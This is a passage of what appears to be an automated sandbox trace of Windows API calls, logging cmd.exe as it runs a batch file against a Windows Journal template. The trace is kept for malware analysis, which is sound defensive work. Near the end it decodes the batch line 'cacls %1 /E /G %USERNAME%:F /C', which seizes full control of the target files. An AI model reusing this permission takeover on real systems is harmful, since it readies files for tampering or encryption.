lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x4, lpData=0x28e780*=0x9, lpcbData=0x28e778*=0x4) returned 0x0 [0125.868] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e77c, lpData=0x28e780, lpcbData=0x28e778*=0x1000 | out: lpType=0x28e77c*=0x0, lpData=0x28e780*=0x9, lpcbData=0x28e778*=0x1000) returned 0x2 [0125.868] RegCloseKey (hKey=0x68) returned 0x0 [0125.868] time (in: timer=0x0 | out: timer=0x0) returned 0x5e271110 [0125.868] srand (_Seed=0x5e271110) [0125.868] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\"\"" [0125.868] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\"\"" [0125.868] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0125.869] GetProcessHeap () returned 0x570000 [0125.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x210) returned 0x584070 [0125.869] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x584078, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0125.869] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0125.870] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0125.870] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0125.870] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0125.870] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0125.870] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0125.870] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0125.870] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0125.870] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0125.870] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0125.870] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0125.870] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0125.870] GetProcessHeap () returned 0x570000 [0125.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584b48 | out: hHeap=0x570000) returned 1 [0125.870] GetEnvironmentStringsW () returned 0x584288* [0125.870] GetProcessHeap () returned 0x570000 [0125.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xae2) returned 0x586be8 [0125.870] FreeEnvironmentStringsW (penv=0x584288) returned 1 [0125.870] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0125.870] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0125.870] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0125.870] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0125.870] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0125.871] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0125.871] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0125.871] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0125.871] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0125.871] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0125.871] GetProcessHeap () returned 0x570000 [0125.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x5876d8 [0125.871] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28f540 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0125.871] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x28f540, lpFilePart=0x28f53c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f53c*="Desktop") returned 0x25 [0125.871] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0125.871] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28f2bc | out: lpFindFileData=0x28f2bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x583ef0 [0125.872] FindClose (in: hFindFile=0x583ef0 | out: hFindFile=0x583ef0) returned 1 [0125.872] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x28f2bc | out: lpFindFileData=0x28f2bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x583ef0 [0125.872] FindClose (in: hFindFile=0x583ef0 | out: hFindFile=0x583ef0) returned 1 [0125.872] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0125.872] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x28f2bc | out: lpFindFileData=0x28f2bc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x583ef0 [0125.872] FindClose (in: hFindFile=0x583ef0 | out: hFindFile=0x583ef0) returned 1 [0125.872] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0125.872] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0125.873] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0125.873] GetProcessHeap () returned 0x570000 [0125.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586be8 | out: hHeap=0x570000) returned 1 [0125.873] GetEnvironmentStringsW () returned 0x5860f8* [0125.873] GetProcessHeap () returned 0x570000 [0125.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb36) returned 0x587f38 [0125.873] FreeEnvironmentStringsW (penv=0x5860f8) returned 1 [0125.873] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0125.873] GetProcessHeap () returned 0x570000 [0125.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5876d8 | out: hHeap=0x570000) returned 1 [0125.873] GetProcessHeap () returned 0x570000 [0125.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400e) returned 0x588a78 [0125.874] GetProcessHeap () returned 0x570000 [0125.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xec) returned 0x584dc8 [0125.874] GetProcessHeap () returned 0x570000 [0125.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4008) returned 0x58ca90 [0125.874] GetProcessHeap () returned 0x570000 [0125.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4008) returned 0x590aa0 [0125.875] GetProcessHeap () returned 0x570000 [0125.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x588a78 | out: hHeap=0x570000) returned 1 [0125.875] GetConsoleOutputCP () returned 0x1b5 [0125.875] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0125.875] GetUserDefaultLCID () returned 0x409 [0125.876] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0125.876] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28f680, cchData=128 | out: lpLCData="0") returned 2 [0125.876] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28f680, cchData=128 | out: lpLCData="0") returned 2 [0125.876] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28f680, cchData=128 | out: lpLCData="1") returned 2 [0125.876] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0125.877] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0125.877] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0125.877] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0125.877] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0125.877] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0125.877] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0125.877] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0125.877] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0125.877] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0125.877] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0125.879] GetProcessHeap () returned 0x570000 [0125.879] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20c) returned 0x584ec0 [0125.879] GetConsoleTitleW (in: lpConsoleTitle=0x584ec0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0125.879] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0125.879] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0125.879] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0125.879] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0125.880] GetProcessHeap () returned 0x570000 [0125.880] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x588a78 [0125.880] GetProcessHeap () returned 0x570000 [0125.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x588a78 | out: hHeap=0x570000) returned 1 [0125.881] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0125.881] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0125.882] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0125.882] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0125.882] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0125.882] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0125.882] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0125.882] GetProcessHeap () returned 0x570000 [0125.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x58) returned 0x5850d8 [0125.882] GetProcessHeap () returned 0x570000 [0125.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x72) returned 0x580ee8 [0125.883] GetProcessHeap () returned 0x570000 [0125.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x7c) returned 0x585138 [0125.883] GetConsoleTitleW (in: lpConsoleTitle=0x28f378, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.018] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0126.018] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0126.018] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0126.018] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0126.018] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0126.018] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0126.018] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0126.018] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0126.018] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0126.018] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0126.018] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0126.018] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0126.018] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0126.018] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0126.018] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0126.018] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0126.018] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0126.018] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0126.019] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0126.019] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0126.019] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0126.019] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0126.019] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0126.019] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0126.019] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0126.019] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0126.019] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0126.019] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0126.019] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0126.019] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0126.019] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0126.019] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0126.019] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0126.019] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0126.019] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0126.019] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0126.019] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0126.019] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0126.019] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0126.019] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0126.019] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0126.019] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0126.019] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0126.019] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0126.019] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0126.019] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0126.019] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0126.019] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0126.019] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0126.019] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0126.019] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0126.019] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0126.019] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0126.020] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0126.020] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0126.020] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0126.020] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0126.020] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0126.020] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0126.020] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0126.020] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0126.020] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0126.020] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0126.020] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0126.020] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0126.020] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0126.020] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0126.020] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0126.020] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0126.020] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0126.020] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0126.020] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0126.020] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0126.020] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0126.020] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0126.020] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0126.020] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0126.020] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0126.020] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0126.020] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0126.020] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0126.020] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0126.020] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0126.020] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0126.020] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0126.020] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0126.020] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0126.020] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0126.021] GetProcessHeap () returned 0x570000 [0126.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x210) returned 0x5851c0 [0126.021] GetProcessHeap () returned 0x570000 [0126.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe6) returned 0x5853d8 [0126.023] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0126.023] GetProcessHeap () returned 0x570000 [0126.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x418) returned 0x5707f0 [0126.023] SetErrorMode (uMode=0x0) returned 0x0 [0126.023] SetErrorMode (uMode=0x1) returned 0x0 [0126.023] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x5707f8, lpFilePart=0x28ee98 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28ee98*="Desktop") returned 0x25 [0126.023] SetErrorMode (uMode=0x0) returned 0x1 [0126.023] GetProcessHeap () returned 0x570000 [0126.023] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5707f0, Size=0x6e) returned 0x5707f0 [0126.023] GetProcessHeap () returned 0x570000 [0126.023] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x5707f0) returned 0x6e [0126.023] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0126.023] GetProcessHeap () returned 0x570000 [0126.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x5a) returned 0x5854c8 [0126.023] GetProcessHeap () returned 0x570000 [0126.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xa8) returned 0x585530 [0126.023] GetProcessHeap () returned 0x570000 [0126.024] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x585530, Size=0x5a) returned 0x585530 [0126.024] GetProcessHeap () returned 0x570000 [0126.024] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x585530) returned 0x5a [0126.024] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0126.024] GetProcessHeap () returned 0x570000 [0126.024] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xe0) returned 0x570868 [0126.027] GetProcessHeap () returned 0x570000 [0126.027] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x570868, Size=0x76) returned 0x570868 [0126.027] GetProcessHeap () returned 0x570000 [0126.027] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x570868) returned 0x76 [0126.027] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0126.027] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x28ec34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ec34) returned 0x585598 [0126.027] GetProcessHeap () returned 0x570000 [0126.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x5855d8 [0126.027] FindClose (in: hFindFile=0x585598 | out: hFindFile=0x585598) returned 1 [0126.027] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0126.027] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0126.027] GetConsoleTitleW (in: lpConsoleTitle=0x28f10c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.028] GetProcessHeap () returned 0x570000 [0126.028] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x11c) returned 0x5708e8 [0126.028] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0126.028] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0126.028] IdentifyCodeAuthzLevelW () returned 0x1 [0126.035] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0126.035] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0126.035] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0126.036] CloseCodeAuthzLevel () returned 0x1 [0126.036] SetErrorMode (uMode=0x0) returned 0x0 [0126.036] SetErrorMode (uMode=0x1) returned 0x0 [0126.036] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x5851c8, lpFilePart=0x28eff8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x28eff8*="Bt3xnwko.bat") returned 0x32 [0126.036] SetErrorMode (uMode=0x0) returned 0x1 [0126.036] GetProcessHeap () returned 0x570000 [0126.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x72) returned 0x580f68 [0126.036] wcsspn (_String=" \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\"", _Control=" \x09") returned 0x1 [0126.036] GetProcessHeap () returned 0x570000 [0126.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x7a) returned 0x5711b8 [0126.036] GetProcessHeap () returned 0x570000 [0126.036] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xec) returned 0x5860f8 [0126.036] GetProcessHeap () returned 0x570000 [0126.036] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5860f8, Size=0x7c) returned 0x5860f8 [0126.036] GetProcessHeap () returned 0x570000 [0126.036] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x5860f8) returned 0x7c [0126.036] CmdBatNotification () returned 0x58522a [0126.036] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f03c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0126.037] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0126.037] _get_osfhandle (_FileHandle=3) returned 0x78 [0126.037] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.037] _get_osfhandle (_FileHandle=3) returned 0x78 [0126.037] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.037] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f020, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x28f020*=0xe2, lpOverlapped=0x0) returned 1 [0126.039] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0126.039] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0126.039] _get_osfhandle (_FileHandle=3) returned 0x78 [0126.039] GetFileType (hFile=0x78) returned 0x1 [0126.039] _get_osfhandle (_FileHandle=3) returned 0x78 [0126.039] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 